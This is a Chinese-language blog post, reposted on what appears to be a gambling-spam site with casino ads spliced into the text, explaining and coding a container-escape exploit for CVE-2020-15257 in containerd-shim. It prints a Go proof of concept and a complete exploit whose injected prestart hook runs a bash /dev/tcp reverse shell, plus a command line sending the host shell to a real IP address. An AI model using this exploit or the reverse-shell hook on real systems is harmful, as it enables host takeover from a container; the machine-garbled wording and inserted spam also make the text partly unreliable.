皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

usdt充值接口(caibao.it):容器逃逸之 CVE-2020-15257 EXP编写

admin2020-12-25112安全技术漏洞分析

CVE-2020-15257

破绽原理、基础知识请阅读以下链接,不再睁开:

  • https://medium.com/nttlabs/dont-use-host-network-namespace-f548aeeef575

或者中文的:

  • https://mp.weixin.qq.com/s/iNziquZJxcox9453jF8LOg

简要来说,containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作为abstract unix socket露出,在docker使用net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc历程启动新的恶意镜像,并通过该镜像逃逸。

POC

这个破绽POC比较简朴,只要探测到docker内部有containerd-shim启动的unix socket即可确认。

  • https://github.com/summershrimp/exploits-open/tree/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257
package main

import (
    "context"
    "errors"
    "io/ioutil"
    "log"
    "net"
    "regexp"
    "strings"

    "github.com/containerd/ttrpc"
    "github.com/gogo/protobuf/types"
)

func exp(sock string) bool {
    sock = strings.Replace(sock, "@", "", -1)
    conn, err := net.Dial("unix", "\x00"+sock)
    if err != nil {
        log.Println(err)
        return false
    }

    client := ttrpc.NewClient(conn)
    shimClient := NewShimClient(client)
    ctx := context.Background()
    info, err := shimClient.ShimInfo(ctx, &types.Empty{})
    if err != nil {
        log.Println("rpc error:", err)
        return false
    }

    log.Println("shim pid:", info.ShimPid)
    return true
}

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }
    return matches, nil
}

func main() {
    matchset := make(map[string]bool)
    socks, err := getShimSockets()
    if err != nil {
        log.Fatalln(err)
    }
    for _, b := range socks {
        sockname := string(b)
        if _, ok := matchset[sockname]; ok {
            continue
        }
        log.Println("try socket:", sockname)
        matchset[sockname] = true
        if exp(sockname) {
            break
        }
    }

    return
}

这里通过docker内部/proc/net/unix中匹配牢固socket即可判断是否存在破绽,进一步可以建立shim cliet通过grpc(ttrpc)协议挪用API,这里挪用shimClient.ShimInfo作为POC是因为这个接口简朴,不需要传参,可以通过返回值进一步确认该socket可用。

这个破绽原理简朴、poc简朴、难点在于行使,exp要对docker启动的内部历程异常领会,并模拟出所有docker启动所必须的参数,在其中组织逃逸点。

停止本篇完稿,现在未见公然的exp代码。

已有的Exp思绪

  • https://research.nccgroup.com/2020/12/10/abstract-shimmer-cve-2020-15257-host-networking-is-root-equivalent-again/

破绽发现者指出通过启动新镜像mount宿主机文件,再写宿主机文件如/etc/crontab完成逃逸,这里问题有:

  1. config.json天生的时刻需要传参,rootfs和mount的id字段需要动态指定,而且rootfs需要一个内陆的文件支持,在容器内部模拟这个环境略显庞大。

新的思绪

  • 适配rootfs环境并重启一个定制化的镜像过于庞大,自动化难题,那么我们能否不启动容器的情况下直接接受containerd-shim历程呢?

笔者在组织config.json模拟镜像启动历程中,从通例docker run天生的config.json中发现以下字段同时存在command input:

usdt充值接口(caibao.it):容器逃逸之 CVE-2020-15257 EXP编写 安全技术 漏洞分析 第1张

文档中发现这个shell可以在容器未落地之前执行:

  • https://github.com/tianon/oci-runtime-spec/blob/master/config.md,hooks

Prestart

,

Allbet客户端下载ALLbet6.com

欢迎进入Allbet客户端下载(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe *** 、Allbet电脑客户端、Allbet手机版下载等业务。

,

The pre-start hooks MUST be called after the start operation is called but before the user-specified program command is executed. On Linux, for example, they are called after the container namespaces are created, so they provide an opportunity to customize the container (e.g. the network namespace could be specified in this hook).

最终行使代码

package exploit

import (
    "context"
    "errors"
    "github.com/Xyntax/CDK/pkg/lib"
    "github.com/Xyntax/CDK/pkg/util"
    shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
    "github.com/containerd/ttrpc"
    "io/ioutil"
    "log"
    "net"
    "regexp"
    "strings"
)

var configJson = `
{
  "ociVersion": "1.0.1-dev",
  "process": {
    "terminal": true,
    "user": {
      "uid": 0,
      "gid": 0
    },
    "args": [
      "/bin/bash"
    ],
    "env": [
      "PATH=/usr/local/ *** in:/usr/local/bin:/usr/ *** in:/usr/bin:/ *** in:/bin",
      "HOSTNAME=b6cee9b57f3b",
      "TERM=xterm"
    ],
    "cwd": "/"
  },
  "root": {
   "path": "/tmp"
  },
  "hostname": "b6cee9b57f3b",
  "hooks": {
        "prestart": [
            {
                "path": "/bin/bash",
                "args": ["bash", "-c", "bash -i >& /dev/tcp/$RHOST$/$RPORT$ 0>&1"],
                "env":  ["PATH=/usr/local/ *** in:/usr/local/bin:/usr/ *** in:/usr/bin:/ *** in:/bin"]
            }
        ]
    },
  "linux": {
    "resources": {
      "devices": [
        {
          "allow": false,
          "access": "rwm"
        }
      ],
      "memory": {
        "disableOOMKiller": false
      },
      "cpu": {
        "shares": 0
      },
      "blockIO": {
        "weight": 0
      }
    },
    "namespaces": [
      {
        "type": "mount"
      },
      {
        "type": "network"
      },
      {
        "type": "uts"
      },
      {
        "type": "ipc"
      }
    ]
  }
}
`

func exp(sock,rhost,rport string) bool {
    sock = strings.Replace(sock, "@", "", -1)
    conn, err := net.Dial("unix", "\x00"+sock)
    if err != nil {
        log.Println(err)
        return false
    }

    client := ttrpc.NewClient(conn)
    shimClient := shimapi.NewShimClient(client)
    ctx := context.Background()


    // config.json file /run/containerd/io.containerd.runtime.v1.linux/moby/<id>/config.json
    // rootfs path /var/lib/docker/overlay2/<id>/merged

    localBundlePath := "/tmp"
    dockerAbsPath := GetDockerAbsPath()+"/merged"+localBundlePath

    configJson = strings.Replace(configJson,"$RHOST$",rhost,-1)
    configJson = strings.Replace(configJson,"$RPORT$",rport,-1)

    err = ioutil.WriteFile(localBundlePath+"/config.json", []byte(configJson), 0666)
    if err != nil {
        log.Println("failed to write file.", err)
        return false
    }

    var M = shimapi.CreateTaskRequest{
        ID:       util.RandString(10), // needs to be different in each exploit
        Bundle:   dockerAbsPath, // use container abspath so runc can find config.json
        Terminal: true,
        Stdin:    "/dev/null",
        Stdout:   "/dev/null",
        Stderr:   "/dev/null",
    }

    info, err := shimClient.Create(ctx, &M)
    if err != nil {
        log.Println("rpc error:", err)
        return false
    }
    log.Println("shim pid:", info.Pid)
    return true
}

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }
    return matches, nil
}

func mainContainerdPwn(rhost string,rport string) {
    matchset := make(map[string]bool)
    socks, err := getShimSockets()
    if err != nil {
        log.Fatalln(err)
    }
    for _, b := range socks {
        sockname := string(b)
        if _, ok := matchset[sockname]; ok {
            continue
        }
        log.Println("try socket:", sockname)
        matchset[sockname] = true
        if exp(sockname,rhost,rport) {
            break
        }
    }
    return
}

// plugin interface
type containerdShimPwnS struct{}

func (p containerdShimPwnS) Desc() string {
    return "pwn CVE-2020-15257,start a privileged reverse shell to remote host. usage: ./cdk shim-pwn <RHOST> <RPORT>"
}
func (p containerdShimPwnS) Run() bool {
    args := lib.Args["<args>"].([]string)
    if len(args) != 2 {
        log.Println("invalid input args.")
        log.Fatal(p.Desc())
    }
    rhost := args[0]
    rport := args[1]
    log.Printf("tring to spawn shell to %s:%s\n",rhost,rport)
    mainContainerdPwn(rhost,rport)
    return true
}

func init() {
    plugin := containerdShimPwnS{}
    lib.Register("shim-pwn", plugin)
}

集成在我的容器渗透工具里,可自行下载测试:

  • https://github.com/Xyntax/CDK/blob/main/pkg/exploit/containerd-shim-pwn.go

有个细节,要让宿主机找到容器内部的config.json,需要向宿主机通报容器内部文件的绝对路径。

测试步骤:

宿主机:随便启动一个容器,让containerd-shim的unix socket露出出来

docker run -d -it ubuntu /bin/bash

usdt充值接口(caibao.it):容器逃逸之 CVE-2020-15257 EXP编写 安全技术 漏洞分析 第2张

现在要启动一个容器,我们通过exp逃逸这个容器:

docker run --rm --net=host -it ubuntu /bin/bash

这个容器包罗CVE-2020-15257的行使条件——net namespace与宿主机共享。

进入容器,植入我们的渗透工具 (https://github.com/Xyntax/CDK/releases/tag/0.1.6)

在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸:

./cdk_linux_amd64 run shim-pwn 47.104.151.168 111

乐成逃逸并反弹shell:

usdt充值接口(caibao.it):容器逃逸之 CVE-2020-15257 EXP编写 安全技术 漏洞分析 第3张


网友评论